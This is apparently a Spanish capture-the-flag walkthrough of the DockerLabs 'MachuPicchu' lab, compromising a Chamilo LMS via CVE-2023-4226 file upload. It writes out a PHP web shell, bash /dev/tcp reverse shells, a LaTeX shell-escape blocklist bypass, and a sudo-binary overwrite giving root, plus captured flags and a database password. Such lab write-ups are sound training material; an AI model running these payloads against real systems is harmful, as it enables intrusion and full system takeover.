MachuPicchu DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip machupicchu.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh machupicchu.tarInfo:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-29 12:32 EDT
Nmap scan report for chamilo.dl (172.17.0.2)
Host is up (0.000017s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 96 Mar 26 19:44 alumno.txt
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-git:
| 172.17.0.2:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
| https://github.com/chamilo/chamilo-lms
|_ Project type: PHP application (guessed from .gitignore)
| http-robots.txt: 12 disallowed entries
| /app/ /bin/ /documentation/ /home/ /main/ /plugin/
| /tests/ /vendor/ /license.txt /README.txt /whoisonline.php
|_/whoisonlinesession.php
|_http-title: Trr0r - Trr0r Academy
|_http-generator: Chamilo 1
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 secondsCuando entramos en el puerto 80 vemos que nos redirecciona hacia un dominio llamado chamilo.dl, por lo que tendremos que añadirlo a nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> chamilo.dlLo guardamos y si lo volvemos a recargar veremos lo siguiente:

Vemos un login de un software llamado Chamilo pero que aun probando los exploits que hay asociados no funcionara, tambien vimos que hay un servidor FTP, por lo que vamos a investigara en el.
FTP
Vamos a probar a entrar de forma anonima mediante el FTP.
ftp anonymous@<IP>Dejamos la password vacia y veremos que estamos dentro, si listamos veremos lo siguiente:
229 Entering Extended Passive Mode (|||20290|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 96 Mar 26 19:44 alumno.txt
226 Directory send OK.Vamos a descargarnos el archivo alumno.txt:
get alumno.txtAhora nos saldremos y veremos que contiene:
Estas son tus credenciales para el acceso como alumno al curso de Hacking Web: pepico:P@ssw0rd1Vemos que son las credenciales de un usuario de la plataforma, por lo que vamos a probar a entrar con dichas credenciales.
Echo eso veremos que estamos dentro:

Si nos vamos al siguiente apartado en Red Social:
URL = http://chamilo.dl/main/social/home.phpY probamos a realizar un XSS metiendo el siguiente payload veremos lo siguiente:
<h1 style="color:red;">XSS</h1>Info:

Vemos que esta funcionando, pero no veremos nada mas interesante, si seguimos buscando algun exploit sobre dicho Software veremos lo siguiente:
URL = Exploit Info CVE-2023-4226
Vemos que nos explica como realizar la explotacion, vamos a seguirlo paso a paso, vamos a crear primero el payload para poder ejecutar comandos desde el .php:
nano cmd.php
#Dentro del nano
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usa ?cmd=COMANDO";
}
?>Tambien tendremos que crear un .htaccess con el siguiente contenido para que podamos realizar el exploit.
nano .htaccess
#Dentro del nano
php_flag engine on
AcceptPathInfo on
<FilesMatch ".+">
order allow,deny
allow from all
</FilesMatch>Ahora tendremos que obtener la Cookie de la sesion en la siguiente seccion:

Y lo pondremos en el siguiente comando:
curl -s -b 'ch_sid=<COOKIE>' 'http://chamilo.dl/main/work/work.php?cidReq=<ID_COURSE>'Si nosotros nos vamos en la pagina e intentamos acceder en el curso, no nos va a cargar, pero si nos va aparecer esto en la URL:
URL = http://chamilo.dl/courses/HW/Vemos que el ID se llama HW, por lo que el comando tiene que quedar algo asi:
curl -s -b 'ch_sid=<COOKIE>' 'http://chamilo.dl/main/work/work.php?cidReq=HW'Seguidamente ejecutaremos el siguiente comando:
curl -b 'ch_sid=<COOKIE>' -F 'files[0]=@cmd.php' -F 'files[1]=@.htaccess' 'http://chamilo.dl/main/inc/ajax/work.ajax.php?a=upload_file&chunkAction=send'Con esto lo que hacemos es que dentro del archivo work.ajax.php tiene un endpoint llamado a en la que se puede subir archivos sin ningun tipo de restriccion, por lo que vamos a subir el archivo cmd.php y el archivo .htaccess que tenemos en el mismo directorio con curl y sus respectivos argumentos para cargarlo en el servidor.
Info:
{"files":{"files":{"name":["cmd.php",".htaccess"],"full_path":["cmd.php",".htaccess"],"type":["application\/octet-stream","application\/octet-stream"],"tmp_name":["\/tmp\/phpWT1QhG","\/tmp\/phpqBGKJ5"],"error":[0,0],"size":[139,109]}},"errorStatus":0}Con esto vemos que ha funcionado, ahora si realizamos lo siguiente veremos esto:
curl 'http://chamilo.dl/app/cache/cmd.php?cmd=whoami'Info:
<pre>www-data
</pre>Vemos que esta funcionando, por lo que vamos a generarnos una reverse shell.
Escalate user www-data
Vamos a ponernos a la escucha antes:
nc -lvnp <PORT>Ahora dentro de la URL vamos a poner lo siguiente ajustado a nuestras necesidades:
URL = http://chamilo.dl/app/cache/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/<IP>/<PORT> 0>%261'Cuando enviemos eso en la URL si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 49944
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@63a7ae251022:/var/www/chamilo.dl/app/cache$ whoami
whoami
www-dataVemos que seremos dicho usuario, por lo que vamos a sanitizar la shell.
Sanitizacion de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user trr0r
Si vemos los puertos/IPs que se estan corriendo en la maquina victima:
netstat -tulnInfo:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:1 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6200 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTENVemos que hay un MySQL corriendo a nivel local, pero algo interesante que vemos es que en la carpeta /opt vemos una aplicacion de python y que este mismo esta corriendo a nivel local en el puerto 6200 y si vemos que contiene con curl veremos lo siguiente:
curl http://127.0.0.1:6200/Info:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>LaTeX</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/styles.css">
</head>
<body class="bg-dark text-light">
<div class="container mt-5">
<h1 class="text-center">🎯 LaTeX 🎯</h1>
<p class="text-center">Introduce una expresión en LaTeX y genera un PDF.</p>
<div class="card bg-secondary text-light shadow-lg p-4">
<form action="/render" method="POST">
<div class="mb-3">
<label for="formula" class="form-label">Código LaTeX:</label>
<textarea class="form-control" id="formula" name="formula" rows="4" placeholder="Escribe tu expresión aquí..."></textarea>
</div>
<button type="submit" class="btn btn-primary w-100">Generar PDF</button>
</form>
</div>
</div>
</body>Si inspeccionamos el codigo del archivo app.py veremos la siguiente linea:
# Ejecutar pdflatex con manejo de errores
subprocess.run(
["pdflatex", "--shell-escape" ,"-output-directory", WORK_DIR, tex_file],
check=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)Vemos que se puede realizar un RCE aprovechando dicha vulnerabilidad, pero tambien tiene esta lista de bloqueo:
# Definir un directorio seguro dentro del proyecto para trabajar con archivos temporales
WORK_DIR = "/opt/latexapp/working_dir"
os.makedirs(WORK_DIR, exist_ok=True) # Crear el directorio si no existe
BLOCKED_PATTERNS = [
r"\\input",
r"\\include",
r"\\write",
r"\\openout"
]
def is_malicious_latex(latex_code):
"""Verifica si el código LaTeX contiene patrones peligrosos"""
for pattern in BLOCKED_PATTERNS:
if re.search(pattern, latex_code):
return True
return FalsePor lo que tendremos que realizar un Bypass de esto mismo.
Tras buscar mucho encontre una pagina la cual explica todo esto:
URL = Info Exploit RCE Latex
Si nos vamos a la seccion llamada Filter Bypass podremos ver varios payloads que Bypassean la lista de bloqueo, pudiendo hacer un RCE como el usuario trr0r.
El payload que me ha funcionado que vi en la pagina fue el siguiente:
\catcode`X=0 % change meaning of X to 'escape character'
Xinput{|"id > /tmp/pwned"} % use X as an escape character to run \inputPor lo que nuestro payload utilizando curl nos tendra que quedar de la siguiente forma:
curl -X POST -d 'formula=\catcode`X=0 Xinput{|"id > /tmp/pwned1"}' http://127.0.0.1:6200/renderInfo:
Error generando el PDFAunque nos ponga eso, si listamos el /tmp veremos lo siguiente:
total 16
drwxrwxrwt 1 root root 4096 Mar 30 12:25 .
drwxr-xr-x 1 root root 4096 Mar 30 12:03 ..
-rw-r--r-- 1 trr0r trr0r 62 Mar 30 12:22 pwnedAhora si leemos el archivo:
cat /tmp/pwnedInfo:
uid=1000(trr0r) gid=1000(trr0r) groups=1000(trr0r),100(users)Veremos que ha funcionado, por lo que vamos a probar a crear una reverse shell de la siguiente forma:
Vamos a crear antes el siguiente archivo:
nano /tmp/shell.sh
#Dentro del nano
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1Lo guardamos y ponemos permisos de ejecuccion.
chmod +x /tmp/shell.shVamos a ponernos a la escucha:
nc -lvnp <PORT>Ahora ejecutamos el siguiente comando para poder ejecutar dicho archivo como el usuario trr0r.
curl -X POST -d 'formula=\catcode`X=0 Xinput{|"bash /tmp/shell.sh"}' http://127.0.0.1:6200/renderSi volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 5555 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 57472
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
trr0r@7cd57fc28af5:/$ whoami
whoami
trr0rVemos que ha funcionado, por lo que vamos a leer la flag del usuario
user.txt
8bd192048459eed4a4e7271ed86ad884Vamos a sanitizar la shell.
Sanitizacion de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for trr0r on 7cd57fc28af5:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trr0r may run the following commands on 7cd57fc28af5:
(ALL) NOPASSWD: /usr/bin/chashVemos que podemos ejecutar el binario chash como el usuario root, por lo que vamos a probar a realizar lo siguiente:
sudo /usr/bin/chash db:show_conn_infoInfo:
PHP Warning: "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in phar:///usr/bin/chash/vendor/doctrine/orm/lib/Doctrine/ORM/UnitOfWork.php on line 2640
Are you sure you want to show the database connection info here? (y/N)y
Database connection details:
Host: 127.0.0.1
User: trr0r
Pass: admiñçtrr0r
DB: chamilo
Connection string (add password manually for increased security:
mysql -h 127.0.0.1 -u trr0r -p chamiloVemos que hemos obtenido las credenciales de la conexion a mysql.
Pero no podremos hacer gran cosa, ahora si vemos los permisos que tiene el binario veremos lo siguiente:
ls -la /usr/bin/chashInfo:
-rwxrwxr-x 1 root trr0r 31081158 Mar 26 18:51 /usr/bin/chashVemos que pertenecemos al grupo del binario, por lo que podremos hacer lo siguiente:
echo " " > /usr/bin/chashnano /usr/bin/chash
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
echo "Permisos cambiados con exito!"Lo guardamos y ahora ejecutamos lo siguiente:
sudo /usr/bin/chashInfo:
Permisos cambiados con exito!Ahora si listamos la bash veremos lo siguiente:
ls -la /bin/bashInfo:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bashPara poder ser root ejecutaremos esto:
bash -pInfo:
bash-5.2# whoami
rootCon esto veremos que seremos root por lo que leeremos la flag de root.
root.txt
eb4585ad9fe0426781ed7c49252f8225Last updated